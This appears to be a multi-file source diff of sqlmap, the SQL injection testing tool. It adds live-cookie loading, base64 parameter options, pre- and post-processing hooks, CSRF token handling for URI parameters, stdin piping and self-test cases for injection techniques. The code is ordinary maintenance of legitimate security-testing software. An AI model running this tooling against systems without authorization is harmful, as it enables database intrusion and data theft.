         raise SqlmapGenericException(errMsg)
 
     if conf.csrfToken:
-        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
             errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
             errMsg += "found in provided GET, POST, Cookie or header values"
             raise SqlmapGenericException(errMsg)

lib/core/testing.py

@@ -44,10 +44,14 @@ def vulnTest():
         (u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
         (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
         ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
+        ("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)),
         ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
         ("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
+        ("<piped> -r <request> -l <log> --flush-session --banner --technique=B", ("banner: '3.", "STDIN")),
         ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
         ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
+        ("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)),
+        ("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)),
         ("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
         ("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
         ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
@@ -125,13 +129,20 @@ def vulnTest():
         status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
         dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
 
-        cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
+        for tag, value in (("<url>", url), ("<direct>", direct), ("<request>", request), ("<log>", log), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
+            options = options.replace(tag, value)
+
+        cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
 
         if "<tmp>" in cmd:
             handle, tmp = tempfile.mkstemp()
             os.close(handle)
             cmd = cmd.replace("<tmp>", tmp)
 
+        if "<piped>" in cmd:
+            cmd = re.sub(r"<piped>\s*", "", cmd)
+            cmd = "echo %s | %s" % (url, cmd)
+
         output = shellExec(cmd)
 
         if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:

lib/core/update.py

@@ -14,6 +14,7 @@ import time
 import zipfile
 
 from lib.core.common import dataToStdout
+from lib.core.common import extractRegexResult
 from lib.core.common import getLatestRevision
 from lib.core.common import getSafeExString
 from lib.core.common import openFile
@@ -27,6 +28,7 @@ from lib.core.revision import getRevisionNumber
 from lib.core.settings import GIT_REPOSITORY
 from lib.core.settings import IS_WIN
 from lib.core.settings import VERSION
+from lib.core.settings import TYPE
 from lib.core.settings import ZIPBALL_PAGE
 from thirdparty.six.moves import urllib as _urllib
 
@@ -36,7 +38,34 @@ def update():
 
     success = False
 
-    if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
+    if TYPE == "pip":
+        infoMsg = "updating sqlmap to the latest stable version from the "
+        infoMsg += "PyPI repository"
+        logger.info(infoMsg)
+
+        debugMsg = "sqlmap will try to update itself using 'pip' command"
+        logger.debug(debugMsg)
+
+        dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
+
+        output = ""
+        try:
+            process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
+            pollProcess(process, True)
+            output, _ = process.communicate()
+            success = not process.returncode
+        except Exception as ex:
+            success = False
+            output = getSafeExString(ex)
+        finally:
+            output = getText(output)
+
+        if success:
+            logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P<result>\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P<result>\d+\.\d+\.\d+)\)", output)))
+        else:
+            logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip())
+
+    elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
         warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
         warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
         logger.warn(warnMsg)
@@ -95,6 +124,7 @@ def update():
                                 os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
                             except OSError:
                                 logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
+
     else:
         infoMsg = "updating sqlmap to the latest development revision from the "
         infoMsg += "GitHub repository"

lib/parse/cmdline.py

@@ -168,6 +168,9 @@ def cmdLineParser(argv=None):
         request.add_argument("--cookie-del", dest="cookieDel",
             help="Character used for splitting cookie values (e.g. ;)")
 
+        request.add_argument("--live-cookies", dest="liveCookies",
+            help="Live cookies file used for loading up-to-date values")
+
         request.add_argument("--load-cookies", dest="loadCookies",
             help="File containing cookies in Netscape/wget format")
 
@@ -622,6 +625,9 @@ def cmdLineParser(argv=None):
         general.add_argument("--base64", dest="base64Parameter",
             help="Parameter(s) containing Base64 encoded data")
 
+        general.add_argument("--base64-safe", dest="base64Safe", action="store_true",
+            help="Use URL and filename safe Base64 alphabet (RFC 4648)")
+
         general.add_argument("--batch", dest="batch", action="store_true",
             help="Never ask for user input, use the default behavior")
 
@@ -680,7 +686,10 @@ def cmdLineParser(argv=None):
             help="Parse and display DBMS error messages from responses")
 
         general.add_argument("--preprocess", dest="preprocess",
-            help="Use given script(s) for preprocessing of response data")
+            help="Use given script(s) for preprocessing (request)")
+
+        general.add_argument("--postprocess", dest="postprocess",
+            help="Use given script(s) for postprocessing (response)")
 
         general.add_argument("--repair", dest="repair", action="store_true",
             help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
@@ -691,6 +700,9 @@ def cmdLineParser(argv=None):
         general.add_argument("--scope", dest="scope",
             help="Regexp for filtering targets")
 
+        general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true",
+            help="Skip heuristic detection of SQLi/XSS vulnerabilities")
+
         general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
             help="Skip heuristic detection of WAF/IPS protection")
 
@@ -860,7 +872,7 @@ def cmdLineParser(argv=None):
         _ = []
         advancedHelp = True
         extraHeaders = []
-        tamperIndex = None
+        auxIndexes = {}
 
         # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
         for arg in argv:
@@ -949,17 +961,29 @@ def cmdLineParser(argv=None):
                 argv[i] = ""
             elif argv[i] in DEPRECATED_OPTIONS:
                 argv[i] = ""
-            elif argv[i].startswith("--tamper"):
-                if tamperIndex is None:
-                    tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
+            elif argv[i].startswith("--data-raw"):
+                argv[i] = argv[i].replace("--data-raw", "--data", 1)
+            elif argv[i].startswith("--drop-cookie"):
+                argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1)
+            elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")):
+                key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
+                index = auxIndexes.get(key, None)
+                if index is None:
+                    index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
+                    auxIndexes[key] = index
                 else:
-                    argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
+                    delimiter = ','
+                    argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
                     argv[i] = ""
-            elif argv[i] in ("-H", "--header"):
-                if i + 1 < len(argv):
+            elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")):
+                if '=' in argv[i]:
+                    extraHeaders.append(argv[i].split('=', 1)[1])
+                elif i + 1 < len(argv):
                     extraHeaders.append(argv[i + 1])
             elif argv[i] == "--deps":
                 argv[i] = "--dependencies"
+            elif argv[i] == "--disable-colouring":
+                argv[i] = "--disable-coloring"
             elif argv[i] == "-r":
                 for j in xrange(i + 2, len(argv)):
                     value = argv[j]
@@ -992,7 +1016,7 @@ def cmdLineParser(argv=None):
         for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
             try:
                 if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
-                    conf.verbose = verbosity.count('v') + 1
+                    conf.verbose = verbosity.count('v')
                     del argv[argv.index(verbosity)]
             except (IndexError, ValueError):
                 pass
@@ -1021,7 +1045,12 @@ def cmdLineParser(argv=None):
         if args.dummy:
             args.url = args.url or DUMMY_URL
 
-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
+        if hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno()) and '-' not in sys.argv:
+            args.stdinPipe = iter(sys.stdin.readline, None)
+        else:
+            args.stdinPipe = None
+
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
             errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
             errMsg += "Use -h for basic and -hh for advanced help\n"
             parser.error(errMsg)

lib/request/basic.py

@@ -353,7 +353,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
 
             if (kb.pageEncoding or "").lower() == "utf-8-sig":
                 kb.pageEncoding = "utf-8"
-                if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
+                if page and page.startswith(b"\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
                     page = page[3:]
 
             page = getUnicode(page, kb.pageEncoding)
@@ -394,7 +394,7 @@ def processResponse(page, responseHeaders, code=None, status=None):
         if msg:
             logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
 
-    if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
+    if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
         rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page)
 
         identYwaf.non_blind.clear()

lib/request/chunkedhandler.py

@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 from lib.core.data import conf
+from lib.core.enums import HTTP_HEADER
 from thirdparty.six.moves import urllib as _urllib
 
 class ChunkedHandler(_urllib.request.HTTPHandler):
@@ -20,20 +21,17 @@ class ChunkedHandler(_urllib.request.HTTPHandler):
 
         if request.data is not None:  # POST
             data = request.data
-            if not request.has_header("Content-type"):
-                request.add_unredirected_header(
-                    "Content-type",
-                    "application/x-www-form-urlencoded")
-            if not request.has_header("Content-length") and not conf.chunked:
-                request.add_unredirected_header(
-                    "Content-length", "%d" % len(data))
+            if not request.has_header(HTTP_HEADER.CONTENT_TYPE):
+                request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")
+            if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked:
+                request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data))
 
         sel_host = host
         if request.has_proxy():
             sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc
 
-        if not request.has_header("Host"):
-            request.add_unredirected_header("Host", sel_host)
+        if not request.has_header(HTTP_HEADER.HOST):
+            request.add_unredirected_header(HTTP_HEADER.HOST, sel_host)
         for name, value in self.parent.addheaders:
             name = name.capitalize()
             if not request.has_header(name):

lib/request/connect.py

@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
 
 import binascii
 import logging
+import os
 import random
 import re
 import socket
@@ -25,6 +26,7 @@ except ImportError:
 from lib.core.agent import agent
 from lib.core.common import asciifyUrl
 from lib.core.common import calculateDeltaSeconds
+from lib.core.common import checkFile
 from lib.core.common import checkSameHost
 from lib.core.common import chunkSplitPostData
 from lib.core.common import clearConsoleLine
@@ -100,6 +102,7 @@ from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IS_WIN
 from lib.core.settings import JAVASCRIPT_HREF_REGEX
 from lib.core.settings import LARGE_READ_TRIM_MARKER
+from lib.core.settings import LIVE_COOKIES_TIMEOUT
 from lib.core.settings import MAX_CONNECTION_READ_SIZE
 from lib.core.settings import MAX_CONNECTIONS_REGEX
 from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
@@ -219,7 +222,7 @@ class Connect(object):
                         try:
                             part = conn.read(MAX_CONNECTION_READ_SIZE)
                         except AssertionError:
-                            part = ""
+                            part = b""
 
                     if len(part) == MAX_CONNECTION_READ_SIZE:
                         warnMsg = "large response detected. This could take a while"
@@ -292,6 +295,30 @@ class Connect(object):
 
             return page, headers, code
 
+        if conf.liveCookies:
+            with kb.locks.liveCookies:
+                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
+                    warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
+                    dataToStdout(warnMsg)
+
+                    valid = False
+                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
+                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
+                            valid = True
+                            break
+                        else:
+                            dataToStdout('.')
+                            time.sleep(1)
+
+                    dataToStdout("\n")
+
+                    if not valid:
+                        errMsg = "problem occurred while loading cookies from file '%s'" % conf.liveCookies
+                        raise SqlmapValueException(errMsg)
+
+                cookie = openFile(conf.liveCookies).read().strip()
+                cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie)
+
         if multipart:
             post = multipart
         else:
@@ -501,6 +528,16 @@ class Connect(object):
                 else:
                     return None, None, None
 
+                for function in kb.preprocessFunctions:
+                    try:
+                        function(req)
+                    except Exception as ex:
+                        errMsg = "error occurred while running preprocess "
+                        errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
+                        raise SqlmapGenericException(errMsg)
+                    else:
+                        post, headers = req.data, req.headers
+
                 requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()])
 
                 if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
@@ -539,7 +576,7 @@ class Connect(object):
                 conn = _urllib.request.urlopen(req)
 
                 if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
-                    kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)
+                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))
 
                 if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                     kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
@@ -815,11 +852,11 @@ class Connect(object):
                 else:
                     page = getUnicode(page)
 
-            for function in kb.preprocessFunctions:
+            for function in kb.postprocessFunctions:
                 try:
                     page, responseHeaders, code = function(page, responseHeaders, code)
                 except Exception as ex:
-                    errMsg = "error occurred while running preprocess "
+                    errMsg = "error occurred while running postprocess "
                     errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
                     raise SqlmapGenericException(errMsg)
 
@@ -1089,6 +1126,9 @@ class Connect(object):
                             if not match:
                                 match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
 
+                                if not match:
+                                    match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I)
+
                 if match:
                     token.name, token.value = match.group("name"), match.group("value")
 
@@ -1125,11 +1165,13 @@ class Connect(object):
             if token:
                 token.value = token.value.strip("'\"")
 
-                for candidate in (PLACE.GET, PLACE.POST):
+                for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI):
                     if candidate in conf.parameters:
-                        if candidate == PLACE.GET and get:
+                        if candidate == PLACE.URI and uri:
+                            uri = _adjustParameter(uri, token.name, token.value)
+                        elif candidate == PLACE.GET and get:
                             get = _adjustParameter(get, token.name, token.value)
-                        elif candidate == PLACE.POST and post:
+                        elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post:
                             post = _adjustParameter(post, token.name, token.value)
 
                 for i in xrange(len(conf.httpHeaders)):

lib/request/direct.py

@@ -45,8 +45,9 @@ def direct(query, content=True):
                 break
 
     if select:
-        if not query.upper().startswith("SELECT "):
+        if re.search(r"(?i)\ASELECT ", query) is None:
             query = "SELECT %s" % query
+
         if conf.binaryFields:
             for field in conf.binaryFields:
                 field = field.strip()
@@ -58,7 +59,7 @@ def direct(query, content=True):
     output = hashDBRetrieve(query, True, True)
     start = time.time()
 
-    if not select and "EXEC " not in query.upper():
+    if not select and re.search(r"(?i)\bEXEC ", query) is None:
         timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
     elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query):
         output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)

lib/request/dns.py

@@ -76,17 +76,20 @@ class DNSServer(object):
         self._check_localhost()
         self._requests = []
         self._lock = threading.Lock()
+
         try:
             self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
         except AttributeError:
             self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+
         self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
         self._socket.bind(("", 53))
         self._running = False
         self._initialized = False
 
     def _check_localhost(self):
-        response = ""
+        response = b""
+
         try:
             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
             s.connect(("", 53))
@@ -96,7 +99,7 @@ class DNSServer(object):
             pass
         finally:
             if response and b"google" in response:
-                raise socket.error("another DNS service already running on *:53")
+                raise socket.error("another DNS service already running on '0.0.0.0:53'")
 
     def pop(self, prefix=None, suffix=None):
         """

lib/request/httpshandler.py

@@ -11,6 +11,8 @@ import socket
 
 from lib.core.common import filterNone
 from lib.core.common import getSafeExString
+from lib.core.compat import xrange
+from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -43,6 +45,8 @@ class HTTPSConnection(_http_client.HTTPSConnection):
                 _contexts[None] = ssl._create_default_https_context()
             kwargs["context"] = _contexts[None]
 
+        self.retrying = False
+
         _http_client.HTTPSConnection.__init__(self, *args, **kwargs)
 
     def connect(self):
@@ -58,7 +62,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
         # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
         #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
         if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
-            for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
+            for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
                 try:
                     sock = create_sock()
                     if protocol not in _contexts:
@@ -101,7 +105,21 @@ class HTTPSConnection(_http_client.HTTPSConnection):
             # Reference: https://docs.python.org/2/library/ssl.html
             if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
                 errMsg += " (please retry with Python >= 2.7.9)"
+
+            if kb.sslSuccess and not self.retrying:
+                self.retrying = True
+
+                for _ in xrange(conf.retries):
+                    try:
+                        self.connect()
+                    except SqlmapConnectionException:
+                        pass
+                    else:
+                        return
+
             raise SqlmapConnectionException(errMsg)
+        else:
+            kb.sslSuccess = True
 
 class HTTPSHandler(_urllib.request.HTTPSHandler):
     def https_open(self, req):

lib/request/inject.py

@@ -12,6 +12,7 @@ import time
 
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
+from lib.core.common import applyFunctionRecursively
 from lib.core.common import Backend
 from lib.core.common import calculateDeltaSeconds
 from lib.core.common import cleanQuery
@@ -126,7 +127,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
         kb.inferenceMode = False
 
         if not kb.bruteMode:
-            debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
+            debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
             logger.debug(debugMsg)
 
     return value
@@ -286,7 +287,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
 
                 try:
                     try:
-                        for num in xrange(startLimit, stopLimit):
+                        for num in xrange(startLimit or 0, stopLimit or 0):
                             output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
                             outputs.append(output)
                     except OverflowError:
@@ -505,6 +506,26 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
         warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
         singleTimeWarnMessage(warnMsg)
 
+    # Dirty patch (MSSQL --binary-fields with 0x31003200...)
+    if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields:
+        def _(value):
+            if isinstance(value, six.text_type):
+                if value.startswith(u"0x"):
+                    value = value[2:]
+                    if value and len(value) % 4 == 0:
+                        candidate = ""
+                        for i in xrange(len(value)):
+                            if i % 4 < 2:
+                                candidate += value[i]
+                            elif value[i] != '0':
+                                candidate = None
+                                break
+                        if candidate:
+                            value = candidate
+            return value
+
+        value = applyFunctionRecursively(value, _)
+
     # Dirty patch (safe-encoded unicode characters)
     if isinstance(value, six.text_type) and "\\x" in value:
         try:

lib/request/redirecthandler.py

@@ -13,6 +13,7 @@ from lib.core.common import getHostHeader
 from lib.core.common import getSafeExString
 from lib.core.common import logHTTPTraffic
 from lib.core.common import readInput
+from lib.core.convert import getBytes
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -64,8 +65,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
                 self.redirect_request = self._redirect_request
 
     def _redirect_request(self, req, fp, code, msg, headers, newurl):
-        newurl = newurl.replace(' ', '%20')
-        return _urllib.request.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host())
+        return _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host())
 
     def http_error_302(self, req, fp, code, msg, headers):
         start = time.time()
@@ -75,7 +75,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
         try:
             content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
         except:  # e.g. IncompleteRead
-            content = ""
+            content = b""
         finally:
             if content:
                 try:  # try to write it back to the read buffer so we could reuse it in further steps
@@ -153,17 +153,17 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
                     result.info()
                 except AttributeError:
                     def _(self):
-                        return getattr(self, "hdrs") or {}
+                        return getattr(self, "hdrs", {})
 
                     result.info = types.MethodType(_, result)
 
                 if not hasattr(result, "read"):
                     def _(self, length=None):
                         try:
-                            retVal = getSafeExString(ex)
+                            retVal = getSafeExString(ex)        # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3)
                         except:
                             retVal = ""
-                        return retVal
+                        return getBytes(retVal)
 
                     result.read = types.MethodType(_, result)
 

lib/takeover/metasploit.py

@@ -506,7 +506,7 @@ class Metasploit(object):
                 if IS_WIN:
                     timeout = 3
 
-                    inp = ""
+                    inp = b""
                     _ = time.time()
 
                     while True:

lib/takeover/registry.py

@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
 
 import os
 
+from lib.core.common import openFile
 from lib.core.common import randomStr
 from lib.core.data import conf
 from lib.core.data import logger
@@ -48,7 +49,7 @@ class Registry(object):
         )
 
     def _createLocalBatchFile(self):
-        self._batPathFp = open(self._batPathLocal, "w")
+        self._batPathFp = openFile(self._batPathLocal, "w")
 
         if self._operation == REGISTRY_OPERATION.READ:
             lines = self._batRead

lib/techniques/blind/inference.py

@@ -123,9 +123,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
             payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
             expression = match.group(2).strip()
 
-
-#<inference query="(SELECT SUBSTRING((%s) FROM %d FOR 1) FROM %s)>'%c'"/>
-
     try:
         # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
         if conf.predictOutput:
@@ -719,7 +716,7 @@ def queryOutputLength(expression, payload):
     lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
     count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
 
-    debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
+    debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
     logger.debug(debugMsg)
 
     if length == " ":

lib/techniques/dns/use.py

@@ -108,7 +108,7 @@ def dnsUse(payload, expression):
                     hashDBWrite(expression, output)
 
         if not kb.bruteMode:
-            debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
+            debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
             logger.debug(debugMsg)
 
     elif conf.dnsDomain:

lib/techniques/error/use.py

@@ -462,7 +462,7 @@ def errorUse(expression, dump=False):
     duration = calculateDeltaSeconds(start)
 
     if not kb.bruteMode:
-        debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[getTechnique()], duration)
+        debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration)
         logger.debug(debugMsg)
 
     return value

lib/techniques/union/use.py

@@ -5,10 +5,9 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import binascii
+import json
 import re
 import time
-import xml.etree.ElementTree
 
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
@@ -32,14 +31,11 @@ from lib.core.common import isNumPosStrValue
 from lib.core.common import listToStrValue
 from lib.core.common import parseUnionPage
 from lib.core.common import removeReflectiveValues
-from lib.core.common import safeStringFormat
 from lib.core.common import singleTimeDebugMessage
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unArrayizeValue
 from lib.core.common import wasLastResponseDBMSError
 from lib.core.compat import xrange
-from lib.core.convert import decodeBase64
-from lib.core.convert import getBytes
 from lib.core.convert import getUnicode
 from lib.core.convert import htmlUnescape
 from lib.core.data import conf
@@ -74,7 +70,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
     if retVal is None:
